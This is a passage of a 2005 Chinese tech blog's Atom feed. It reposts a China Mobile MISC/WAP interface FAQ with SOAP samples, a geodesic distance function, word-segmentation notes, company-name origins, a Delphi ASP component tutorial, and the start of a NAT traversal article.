<P><STRONG>2、目前中央现网WAP业务的反向定购接口是1.5版本还是1.6的版本？还是两种版本都支持？<BR></STRONG>答：目前中央现网的WAP业务的反向定购接口1.5及1.6版本的都支持，具体格式如下：<BR>1.6版本的反向定购接口：<BR><A href="http://wap.monternet.com/reversesubscribe?sessionID=...&SPID=660001&ServiceID=0000000104" target=_blank><FONT color=#333366>wap.monternet.com/reversesubscribe?sessionID=...&SPID=660001&ServiceID=0000000104</FONT></A><BR><BR>1.5版本的反向定购接口：<BR><A href="http://wap.monternet.com/?userType=B&ServiceID=05101030" target=_blank><FONT color=#333366>wap.monternet.com/?userType=B&ServiceID=05101030</FONT></A></P>
<P><STRONG>3、现在访问在中央移动梦网的我们的MFlash业务时，它是显示免费试用地址，请问这是否正常？</STRONG><BR>答：这是正常现象，对某一个业务来说，当一个新手机用户访问到此业务时，如果该业务提供了免费试用地址，那么，它显示的就是免费试用地址返回的页面；如果该业务没有提供免费试用地址，那么，它显示的就是业务访问地址返回的页面。</P>
<P><STRONG>4、如果不连接MISC的话，我们可以得到用户的手机号码（请求头部的X-Up-Calling-Line-ID），但与梦网连接的话，我们就得不到用户的手机号码，这样，我们不知道是谁下载什么内容？</STRONG><BR>答：关于手机号码的问题，上次做MISC系统升级的培训也讲到，1.6的WTBS（MISC系统的一个子模块）对于从WAP GW过来的访问请求头里的手机号码是做过滤处理的，如果SP想从请求中获取手机号码的话，需要向移动申请，当移动认可你们的申请后，MISC系统会将手机号码在SP的请求URL中带过来，具体参见接口规范文档--》页面访问接口部分！！</P>
<P><STRONG>5、目前现在中央现网MISC平台的对SP的Provision接口是V1.5版本还是V1.6版本？具体什么时候做接口升级切换？</STRONG><BR>答：对SP而言，V1.6的MISC平台兼容V1.5的Provision接口；对某一个SP来说，要求他们的所有业务要么用1.5的Provision接口，要么全都用1.6的Provision接口，而且建议新的SP，也就是第一次上中央MISC总站的WAP业务全都用1.6的Provision接口，以便以后的Provision接口升级不需再做测试；<BR><!--ubbcodetab--><!--/ubbcodetab-->另外，对SP来说，具体关于此接口的升级切换的时间有待移动确定，移动会在此接口全部升级之前，会分批先行通知SP进行接口测试的了！！</P>
<P><STRONG>6、在MISC1.6的版本中，如果SP的业务需要修改，那么业务变更的流程及步骤如何？</STRONG><BR>答：在SP的业务商用后，如SP需要对业务资料或资费进行变更，先在SP自服务系统进行修改，然后通知梦网管理人员进行审核，审核通过完成之后，进行相关接口及业务、计费测试，完成之后，变更后的信息，只有到下个月的1日才会生效。</P>
<P><STRONG>7、就Provision1.5接口来说，有相关的数据包交互样例吗？</STRONG><BR>答：有，具体数据包样例如下：<BR>DSMP==》》SP数据包样例：<BR>&lt;?xml version="1.0" encoding="utf-8"?&gt;<BR>&lt;SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<BR>xmlns:xsd="http://www.w3.org/2001/XMLSchema"<BR>xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"<BR>xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"&gt;<BR>&lt;SOAP-ENV:Header&gt;<BR>&lt;TransactionID xmlns="http://10.1.2.122/misc/dsmp.xsd"&gt;00110100037392&lt;/TransactionID&gt;<BR>&lt;/SOAP-ENV:Header&gt;<BR>&lt;SOAP-ENV:Body&gt;<BR>&lt;SyncOrderRelationReq xmlns="http://10.1.2.122/misc/dsmp.xsd"&gt;<BR>&lt;Version&gt;1.5.0&lt;/Version&gt;<BR>&lt;MsgType&gt;SyncOrderRelationReq&lt;/MsgType&gt;<BR>&lt;Send_Address&gt;<BR>&lt;DeviceType&gt;0&lt;/DeviceType&gt;<BR>&lt;DeviceID&gt;0011&lt;/DeviceID&gt;<BR>&lt;/Send_Address&gt;<BR>&lt;Dest_Address&gt;<BR>&lt;DeviceType&gt;400&lt;/DeviceType&gt;<BR>&lt;DeviceID&gt;0&lt;/DeviceID&gt;<BR>&lt;/Dest_Address&gt;<BR>&lt;FeeUser_ID&gt;<BR>&lt;UserIDType&gt;2&lt;/UserIDType&gt;<BR>&lt;MSISDN&gt;&lt;/MSISDN&gt;<BR>&lt;PseudoCode&gt;00116000000286&lt;/PseudoCode&gt;<BR>&lt;/FeeUser_ID&gt;<BR>&lt;DestUser_ID&gt;<BR>&lt;UserIDType&gt;2&lt;/UserIDType&gt;<BR>&lt;MSISDN&gt;&lt;/MSISDN&gt;<BR>&lt;PseudoCode&gt;00116000000286&lt;/PseudoCode&gt;<BR>&lt;/DestUser_ID&gt;<BR>&lt;LinkID&gt;SP&lt;/LinkID&gt;<BR>&lt;ActionID&gt;1&lt;/ActionID&gt;<BR>&lt;ActionReasonID&gt;1&lt;/ActionReasonID&gt;<BR>&lt;SPID&gt;919102&lt;/SPID&gt;<BR>&lt;SPServiceID&gt;0000000064&lt;/SPServiceID&gt;<BR>&lt;AccessMode&gt;2&lt;/AccessMode&gt;<BR>&lt;FeatureStr&gt;&lt;/FeatureStr&gt;<BR>&lt;/SyncOrderRelationReq&gt;<BR>&lt;/SOAP-ENV:Body&gt;<BR>&lt;/SOAP-ENV:Envelope&gt;<BR><BR>SP==》》DSMP数据包样例：<BR>&lt;?xml version="1.0" encoding="utf-8"?&gt;<BR>&lt;SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:x<BR>sd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENV="http://schemas.xmlsoap.org<BR>/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"&gt;<BR>&lt;SOAP-ENV:Header&gt;<BR>&lt;TransactionID xmlns="http://www.monternet.com/dsmp/schemas/"&gt;<BR>00110100037392&lt;/TransactionID&gt;<BR>&lt;/SOAP-ENV:Header&gt;<BR>&lt;SOAP-ENV:Body&gt;<BR>&lt;SyncOrderRelationResp xmlns="http://www.monternet.com/dsmp/schemas/"&gt;<BR>&lt;Version&gt;1.5.0&lt;/Version&gt;<BR>&lt;MsgType&gt;SyncOrderRelationResp&lt;/MsgType&gt;<BR>&lt;hRet&gt;0&lt;/hRet&gt;<BR>&lt;/SyncOrderRelationResp&gt;<BR>&lt;/SOAP-ENV:Body&gt;<BR>&lt;/SOAP-ENV:Envelope&gt;</P>
<P><STRONG>8、我们目前已经开发完毕基于MISC1.6的WAP服务接入程序，但不知道你们有没有测试的环境让我们测试一下。主要测试在于Provision接口，以及服务访问入口参数的测试？<BR></STRONG>答：是的！！---我们深圳有1.6的测试环境，具体的测试安排等候移动的具体按排了！！</P>
<P><STRONG>9、可否给出一个从WTBS到SP的服务请求样例？（带手机号码的情况）<BR></STRONG>答：当然可以，手机用户经WAP GW到WTBS代理到SP的请求URL格式如下：GET /film/film_index.jsp?MISC_ID=0001&MISC_SessionID=0001-1N3OWx6n!-1586151075!1810543550!1070446478280&MISC_ServiceID=ZDDYYC&MISC_<BR>AccessMode=2&MISC_MSISDN=13810680002</P>
<P><STRONG>10、WAP1.6的Provision数据包里，MISC_MID怎么获取？</STRONG><BR>答：在上述的DSMP向SP发送的Provision请求数据包样例里，直接读取&lt;DestUser_ID&gt;结构下的&lt;PseudoCode&gt;的值便是了！</P>
<P><STRONG>11、中央现网1.6平台的免费试用流程怎样？</STRONG><BR>答：对某一业务来说，一个新的手机号码第一次访问该业务时，WTBS会将此请求转向该业务的免费试用地址，手机用户利用反向定购接口进行订购该业务；当用户退订后，再访问该业务时，WTBS会将用户导向SP的业务首页地址，当用户访问到计费地址时，MISC会弹出要求用户进行订购的页面，要求用户进行订购，用户只有订购成功后，MISC才会准许用户访问该业务后续内容。</P>
<P><STRONG>12、北京移动现网（掌上北京）填写业务资料时需要注意的事项？<BR></STRONG>答：由于北京移动对掌上北京MISC的需求，所以SP在填写掌上北京现网WAP业务资料的时候，需要特别注意的事项如下：<BR>（1）<!--ubbcodetab-->&nbsp;&nbsp;&nbsp;&nbsp;<!--/ubbcodetab-->免费试用类型：如计费类型是"包月计费"，一定得选"按天数进行免费"；如计费类型是"按次计费"，一定得选"按次数进行免费"，不得选"不免费试用"，这是北京移动的约定，否则，SP提交的业务将予以拒绝，SP重新修改后方能通过，进行下一步的测试。<BR>（2） 所有带"＊"的输入框均得输入内容；</P>
<P><STRONG>13、北京移动现网（掌上北京）的免费试用流程怎样？<BR></STRONG>答：对某一个业务来说，一个新的手机号码第一次访问该业务时，直接进入访业务的首页，当访问到计费节点时，弹出要求用户订购的页面，其中有一个免费试用的链接（如该业务为按次业务，则此业务按次数免费试用；如该业务为包月业务，则此业务按天数免费试用）；当免费试用的次数或时间已到，则当用户再次访问到该业务的计费URL时，则会提示免费试用次数或时间已到，提示用户进行订购后，方可继续访问，否则MISC系统的WTBS不予代理用户的访问请求。</P>
<P><STRONG>14、北京移动现网（掌上北京）的免费试用需要注意什么没有？？</STRONG><BR>答：由于北京移动对MISC免费试用流程的需求，需SP特别注意的是：当用户首次访问SP的业务计费地址时，MISC弹出提示用户进行订购的页面，当用户选取"免费试用"链接时，MISC平台的DSMP会向SP的业务处理地址发一个ActionID为5的订购关系同步的XML数据包，因此，当SP的业务处理地址收到该数据包时，也需响应DSMP一个hRet为0的数据包，否则，用户的免费试用将失败，从而导致手机用户的不满。</P>
<P><STRONG>15、北京移动现网（掌上北京）的反向定购的链接规范该如何写</STRONG>？<BR>答：SP可以通过该接口实现从SP端对梦网业务的订购或访问，具体规范如下：<BR><A href="http://wap.bj.monternet.com/reversesubscribe?SPID=xxxxxx&ServiceID=xxxxxxx" target=_blank><FONT color=#333366>wap.bj.monternet.com/reversesubscribe?SPID=xxxxxx&ServiceID=xxxxxxx</FONT></A></P>
<P><STRONG>16、关于中央集团MISC WAP的反向订购接口地址，我有个问题想请教，我想在我们的WAP 网站（wap.mflash.com）上的业务连接反向订购，此时的sessionID怎么办呢？（不是在梦网）而且如果加SPURL时，此SPURL也有参数的话怎么处理呢？比如说SPURL是</STRONG><A href="http://wap.mflash.com/push_list.jsp?ch=0&ml=01&ct=1&cn=174"><STRONG>http://wap.mflash.com/push_list.jsp?ch=0&ml=01&ct=1&cn=174</STRONG></A><STRONG>的话，如何连接呢？</STRONG><BR>答：关于第一个无法获取SessionID的情况下，反向定购的情况，<A href="http://wap.monternet.com/reversesubscribe?userType=B&ServiceID=0000000104">http://wap.monternet.com/reversesubscribe?userType=B&ServiceID=0000000104</A></P>
<P><STRONG>17、关于计费的问题，我们正式挂上去收费的话，是不是一个业务只有一种方式？还是一种业务可以有多种收费方式的，比如，图片下载，我们可以提供用户两种方式，既可以是包月，也可以是按次呢？<BR></STRONG>答：是的，每种业务都只允许有一种计费类型，要么按次计费，要么包月计费；并且也只能是一个价格，当然，这个费率是可以申请修改的了。</P>
<P><STRONG>18、在misc1.6的provision包里哪个属性是表示来自哪个省的MISC的？</STRONG><BR>答：暂无，但我们的下一处版本会带上相关的参数。</P>
<P><STRONG>19、中央现网MISC的业务流程怎样？</STRONG><BR>答：<BR>1）免费试用－》我要定购－》misc调用provision－》代理访问业务计费地址<BR>2）已经定购－》访问业务首页地址<BR>3）暂停之后再次访问－》访问业务首页地址－》计费地址出现－》misc调用provision－》代理访问计费地址<BR></P>
<P>摘:http://www.blueidea.com/tech/site/2005/3005.asp</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=163" /> 
	  <id>http://www.openx.cn/default.asp?id=163</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[将刚才的经纬度求距离函数写成javascript版本]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-22T16:56:40+08:00</updated>
	  <published>2005-11-22T16:56:40+08:00</published>
		  <summary type="html"><![CDATA[function CxtyDistance(lat1,long1,lat2,long2){<BR>&nbsp;var C, D, F, G, R, S;<BR>&nbsp;var H1,H2;<BR>&nbsp;var lambda, omega;<BR>&nbsp;var ren;<BR>&nbsp;<BR>&nbsp;var a=3963.19; <BR>&nbsp;var ft=1.0/298.2572235630;<BR>&nbsp;<BR>&nbsp;lat1=Number(lat1);<BR>&nbsp;lat2=Number(lat2);<BR>&nbsp;long1=Number(long1);<BR>&nbsp;long2=Number(long2);<BR>&nbsp;<BR>&nbsp;F = (lat1+lat2)/2.0;<BR>&nbsp;G = (lat1-lat2)/2.0;<BR>&nbsp;lambda = (long1-long2)/2.0;<BR>&nbsp;<BR>&nbsp;S = Math.pow(Math.sin(G)*Math.cos(lambda),2) + Math.pow(Math.cos(F)*Math.sin(lambda),2);<BR>&nbsp;C = Math.pow(Math.cos(G)*Math.cos(lambda),2) + Math.pow(Math.sin(F)*Math.sin(lambda),2);<BR>&nbsp;omega = Math.atan(Math.sqrt(S/C));<BR>&nbsp;R = Math.sqrt(S*C)/omega;<BR>&nbsp;D = 2.0*omega*a;<BR>&nbsp;H1 =(3.0*R-1.0)/2.0/C;<BR>&nbsp;H2 =(3.0*R+1.0)/2.0/S;<BR>&nbsp;ren = D*(1.0+ft*H1*Math.pow(Math.sin(F)*Math.cos(G),2)-ft*H2*Math.pow(Math.cos(F)*Math.sin(G),2));<BR>&nbsp;<BR>&nbsp;return ren;<BR>}]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=162" /> 
	  <id>http://www.openx.cn/default.asp?id=162</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[找到一个经纬度求两点距离的]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-22T16:31:14+08:00</updated>
	  <published>2005-11-22T16:31:14+08:00</published>
		  <summary type="html"><![CDATA[<P>来自:http://koders.com/c/fid1D43164898C3D67EAFCDF3936816F0D1D44FB616.aspx</P>
<P>#include &lt;PalmOS.h&gt;<BR>#include &lt;PalmCompatibility.h&gt; <BR>#include "MathLib.h"<BR>#include "GPSCalc.h"</P>
<P>double calcDistance(double lat1, double long1, double lat2, double long2) {<BR>&nbsp; /* calculate the distance between two sets of cooridnates <BR>&nbsp;&nbsp;&nbsp;&nbsp; the cooridnates should be in radians. <BR>&nbsp;&nbsp;&nbsp;&nbsp; returns the result in miles */<BR>&nbsp; /* the result is the "Great Arc" distance,<BR>&nbsp;&nbsp;&nbsp;&nbsp; or the distance you would have to travel over the surface of the Earth. <BR>&nbsp;&nbsp;&nbsp;&nbsp; considering that the shape of the Earth is an ellipsoid,<BR>&nbsp;&nbsp;&nbsp;&nbsp; not a perfect sphere. */</P>
<P>&nbsp; double C, D, F, G, R, S;<BR>&nbsp; double H1,H2;<BR>&nbsp; double lambda, omega;<BR>&nbsp; double result;<BR>&nbsp; <BR>&nbsp; const double a=3963.19; // miles (semi-major axis of WGS 84 Ellipsoid)<BR>&nbsp; const double ft=1.0/298.2572235630; //(flattening of WGS 84 Ellipsoid) </P>
<P>&nbsp; <BR>&nbsp; F = (lat1+lat2)/2.0;<BR>&nbsp; G = (lat1-lat2)/2.0;<BR>&nbsp; lambda = (long1-long2)/2.0;<BR>&nbsp; <BR>&nbsp; S = pow(sin(G)*cos(lambda),2) + pow(cos(F)*sin(lambda),2);<BR>&nbsp; C = pow(cos(G)*cos(lambda),2) + pow(sin(F)*sin(lambda),2);<BR>&nbsp; omega = atan(sqrt(S/C));<BR>&nbsp; R = sqrt(S*C)/omega;<BR>&nbsp; D = 2.0*omega*a;<BR>&nbsp; H1 =(3.0*R-1.0)/2.0/C;<BR>&nbsp; H2 =(3.0*R+1.0)/2.0/S;<BR>&nbsp; result = D*(1.0+ft*H1*pow(sin(F)*cos(G),2)-ft*H2*pow(cos(F)*sin(G),2));<BR>&nbsp; <BR>&nbsp; return result;<BR>}</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=161" /> 
	  <id>http://www.openx.cn/default.asp?id=161</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[中文分词的实现思路]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-22T08:29:19+08:00</updated>
	  <published>2005-11-22T08:29:19+08:00</published>
		  <summary type="html"><![CDATA[<P>有关分词的基础知识：<BR><BR>分词技术研究报告<BR>http://www.lw86.com/lunwen/computer/ai/3818.html<BR><BR>中文搜索引擎技术揭密：中文分词<BR>http://www.shi8.com/286.html<BR><BR>推荐看些课件（北大中文系研究生的课程）：<BR>http://ccl.pku.edu.cn/doubtfire/Course/Chinese%20Information%20Processing/2002_2003_1.htm<BR>http://ccl.pku.edu.cn/doubtfire/Course/Chinese%20Information%20Processing/contents/Chapter_07_1.ppt<BR><BR><BR><BR>第二. 语料库的准备<BR>可以选用《人民日报》语料库，是北京大学计算语言学研究所与富士通公司（Fujitsu）合作的产品，加工2700万字的《人民日报》语料库，加工项目包括词语切分、词性标注、专有名词（专有名词短语）标注。在网上可以下载，不过不清楚是否免费，请自行搜索。<BR><BR>语料库要加工为词典，供PHP程序使用。<BR><BR>第三. 分词算法原理<BR>最常用的是最大匹配法和最大概率法，为了加强精确度，避免歧义，可以结合多种算法。多种算法结合会导致速度下降，视项目要求采用。<BR><BR>第四. 分词的PHP实现<BR>原理见上面推荐的PPT幻灯片，只不过是用PHP加载词典文件，再实现字符串的搜索而已。目前来看，效果还是不错的，但是效率不太高。没有办法，像PHP这种脚本语言，要求不能太高。接下来试试先用C写分词部份，再用PHP调用，测试一下效率。<BR></P>
<P>&nbsp;</P>
<P>摘:http://blog.csdn.net/Haohappy2004/archive/2005/11/15/530046.aspx</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=160" /> 
	  <id>http://www.openx.cn/default.asp?id=160</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[各大IT公司的起名缘由]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-21T08:39:00+08:00</updated>
	  <published>2005-11-21T08:39:00+08:00</published>
		  <summary type="html"><![CDATA[Yahoo!<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled[/img]<BR>The word was invented by Jonathan Swift and used in his book Gulliver's Travels. It represents a person who is repulsive in appearance and action and is barely human. Yahoo! founders Jerry Yang and David Filo selected the name because they considered themselves yahoos. <BR><BR>Xerox<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_001[/img]<BR>The Greek root "xer" means dry. The inventor, Chestor Carlson, named his product Xerox as it was dry copying, markedly different from the then prevailing wet copying. <BR><BR>Sun Microsystems<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_002[/img]<BR><BR>Founded by four Stanford University buddies, Sun is the acronym for Stanford University Network. <BR><BR>Sony<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_003[/img]<BR>From the Latin word 'sonus' meaning sound, and 'sonny' a slang used by Americans to refer to a bright youngster. <BR><BR>Sony<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_004[/img]<BR>"Systems, Applications, Products in Data Processing", formed by four ex-IBM employees who used to work in the 'Systems/Applications/Projects' group of IBM. <BR><BR><BR>Red Hat<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_005[/img]&gt;<BR>Company founder Marc Ewing was given the Cornell lacrosse team cap (with red and white stripes) while at college by his grandfather. He lost it and had to search for it desperately. The manual of the beta version of Red Hat Linux had an appeal to readers to return his Red Hat if found by anyone! <BR><BR>Oracle<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_006[/img]<BR><BR>Larry Ellison and Bob Oats were working on a consulting project for the Central Intelligence Agency (CIA). The code name for the project was called Oracle (the CIA saw this as the system to give answers to all questions or something such). <BR><BR>Motorola<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_007[/img]<BR>Founder Paul Galvin came up with this name when his company started manufacturing radios for cars. The popular radio company at the time was called Victrola. <BR><BR>Microsoft<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_008[/img]<BR>It was coined by Bill Gates to represent the company that was devoted to MICROcomputer SOFTware. Originally christened Micro-Soft, the '-' was removed later on. <BR><BR>Lotus<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_009[/img]<BR><BR>Mitch Kapor got the name for his company from the lotus position or 'padmasana.' Kapor used to be a teacher of Transcendental Meditation of Maharishi Mahesh Yogi. <BR><BR>Intel<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_010[/img]<BR><BR>Bob Noyce and Gordon Moore wanted to name their new company 'Moore Noyce' but that was already trademarked by a hotel chain, so they had to settle for an acronym of INTegrated ELectronics. <BR><BR>Hewlett-Packard<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_011[/img]<BR>Bill Hewlett and Dave Packard tossed a coin to decide whether the company they founded would be called Hewlett-Packard or Packard-Hewlett. <BR><BR>Hotmail<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_012[/img]<BR>Founder Jack Smith got the idea of accessing email via the web from a computer anywhere in the world. When Sabeer Bhatia came up with the business plan for the mail service, he tried all kinds of names ending in 'mail' and finally settled for Hotmail as it included the letters "html" - the programming language used to write web pages. It was initially referred to as HoTMaiL with selective upper casings. <BR><BR>Google<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_013[/img]<BR>The name started as a jockey boast about the amount of information the search-engine would be able to search. It was originally named 'Googol', a word for the number represented by 1 followed by 100 zeros. After founders - Stanford graduate students Sergey Brin and Larry Page presented their project to an angel investor, they received a cheque made out to 'Google <BR><BR>Cisco<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_014[/img]<BR>The name is not an acronym but an abbreviation of San Francisco. The company's logo reflects its San Francisco name heritage. It represents a stylized Golden Gate Bridge. <BR><BR>Apple Computers<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_015[/img]<BR>Favourite fruit of founder Steve Jobs. He was three months late in filing a name for the business, and he threatened to call his company Apple Computers if the other colleagues didn't suggest a better name by 5 o'clock. <BR><BR>Apache<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_016[/img]<BR>It got its name because its founders got started by applying patches to code written for NCSA's httpd daemon. The result was 'A PAtCHy' server - thus, the name Apache. <BR><BR><BR>Adobe<BR><BR>[img]http://thekaran.com/iStuff/companyNames_files/untitled_017[/img] 
<P><BR>The name came from the river Adobe Creek that ran behind the house of founder John Warnock. </P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=159" /> 
	  <id>http://www.openx.cn/default.asp?id=159</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi编写组件封装asp代码的基本步骤]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-18T09:34:25+08:00</updated>
	  <published>2005-11-18T09:34:25+08:00</published>
		  <summary type="html"><![CDATA[<P>&nbsp;1.文件-&gt;新建-&gt;其他-&gt;ActiveX-&gt;ActiveX Library,然后保存成showdll.dpr</P>
<P>2.再次，文件-&gt;新建-&gt;其他-&gt;ActiveX-&gt;ActiveX Server Object,填写CoClassName:showhello,其他不变，点击ok。<BR></P>
<P>3.现在开始写程序，先添加一个方法。选择Ishowhello-&gt;右键-&gt;New-&gt;Method,填写方法名称：sayworld。<BR></P>
<P>4．现在开始写程序，将Unit1保存成show.pas,然后添加方法sayworld的代码<BR></P>
<P>show.pas的全部代码如下：</P>
<P>unit show;</P>
<P>&nbsp;</P>
<P>{$WARN SYMBOL_PLATFORM OFF}</P>
<P>&nbsp;</P>
<P>interface</P>
<P>&nbsp;</P>
<P>uses</P>
<P>&nbsp; ComObj, ActiveX, AspTlb, showdll_TLB, StdVcl;</P>
<P>&nbsp;</P>
<P>type</P>
<P>&nbsp; Tshowhello = class(TASPObject, Ishowhello)</P>
<P>&nbsp; protected</P>
<P>&nbsp;&nbsp;&nbsp; procedure OnEndPage; safecall;</P>
<P>&nbsp;&nbsp;&nbsp; procedure OnStartPage(const AScriptingContext: IUnknown); safecall;</P>
<P>&nbsp;&nbsp;&nbsp; procedure sayworld; safecall;&nbsp; //sayworld方法</P>
<P>&nbsp; end;</P>
<P>&nbsp;</P>
<P>implementation</P>
<P>&nbsp;</P>
<P>uses ComServ;</P>
<P>&nbsp;</P>
<P>procedure Tshowhello.OnEndPage;</P>
<P>begin</P>
<P>&nbsp; inherited OnEndPage;</P>
<P>end;</P>
<P>&nbsp;</P>
<P>procedure Tshowhello.OnStartPage(const AScriptingContext: IUnknown);</P>
<P>begin</P>
<P>&nbsp; inherited OnStartPage(AScriptingContext);</P>
<P>end;</P>
<P>procedure Tshowhello.sayworld(); //定义sayworld方法</P>
<P>begin</P>
<P>&nbsp;response.Write('Hello world');&nbsp;&nbsp; //里边的语法和asp一样的写法了，就在这里封装了。</P>
<P>end;</P>
<P>&nbsp;</P>
<P>initialization</P>
<P>&nbsp; TAutoObjectFactory.Create(ComServer, Tshowhello, Class_showhello,</P>
<P>&nbsp;&nbsp;&nbsp; ciMultiInstance, tmApartment);</P>
<P>end.</P>
<P>4．点击运行，编译成dll， 并自动注册了。这时候会提示：</P>
<P>现在写个asp文件调用一下吧，注意Delphi已经生成了一个asp文件，我们改一下调用的方法就可以了。</P>
<P>修改后的showhello.asp代码如下：</P>
<P>&lt;HTML&gt;</P>
<P>&lt;BODY&gt;</P>
<P>&lt;TITLE&gt; Testing Delphi ASP &lt;/TITLE&gt;</P>
<P>&lt;CENTER&gt;</P>
<P>&lt;H3&gt; You should see the results of your Delphi Active Server method below &lt;/H3&gt;</P>
<P>&lt;/CENTER&gt;</P>
<P>&lt;HR&gt;</P>
<P>&lt;% Set DelphiASPObj = Server.CreateObject("showdll.showhello")</P>
<P>&nbsp;&nbsp; DelphiASPObj.sayworld</P>
<P>%&gt;</P>
<P>&lt;HR&gt;</P>
<P>&lt;/BODY&gt;</P>
<P>&lt;/HTML&gt;</P>
<P>注意Delphi里定义的时候要和vbs 的数据类型一致。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=158" /> 
	  <id>http://www.openx.cn/default.asp?id=158</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[P2P之UDP穿透NAT的原理与实现(这个比较全)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-17T14:21:14+08:00</updated>
	  <published>2005-11-17T14:21:14+08:00</published>
		  <summary type="html"><![CDATA[<P>原创：shootingstars<BR>参考：<A href="http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt">http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt</A></P>
<P>论坛上经常有对P2P原理的讨论，但是讨论归讨论，很少有实质的东西产生（源代码）。呵呵，在这里我就用自己实现的一个源代码来说明UDP穿越NAT的原理。</P>
<P>首先先介绍一些基本概念：<BR>&nbsp;&nbsp;&nbsp; NAT(Network Address Translators)，网络地址转换：网络地址转换是在IP地址日益缺乏的情况下产生的，它的主要目的就是为了能够地址重用。NAT分为两大类，基本的NAT和NAPT(Network Address/Port Translator)。<BR>&nbsp;&nbsp;&nbsp; 最开始NAT是运行在路由器上的一个功能模块。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 最先提出的是基本的NAT，它的产生基于如下事实：一个私有网络（域）中的节点中只有很少的节点需要与外网连接（呵呵，这是在上世纪90年代中期提出的）。那么这个子网中其实只有少数的节点需要全球唯一的IP地址，其他的节点的IP地址应该是可以重用的。<BR>&nbsp;&nbsp;&nbsp; 因此，基本的NAT实现的功能很简单，在子网内使用一个保留的IP子网段，这些IP对外是不可见的。子网内只有少数一些IP地址可以对应到真正全球唯一的IP地址。如果这些节点需要访问外部网络，那么基本NAT就负责将这个节点的子网内IP转化为一个全球唯一的IP然后发送出去。(基本的NAT会改变IP包中的原IP地址，但是不会改变IP包中的端口)<BR>&nbsp;&nbsp;&nbsp; 关于基本的NAT可以参看RFC 1631<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 另外一种NAT叫做NAPT，从名称上我们也可以看得出，NAPT不但会改变经过这个NAT设备的IP数据报的IP地址，还会改变IP数据报的TCP/UDP端口。基本NAT的设备可能我们见的不多（呵呵，我没有见到过），NAPT才是我们真正讨论的主角。看下图：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Server 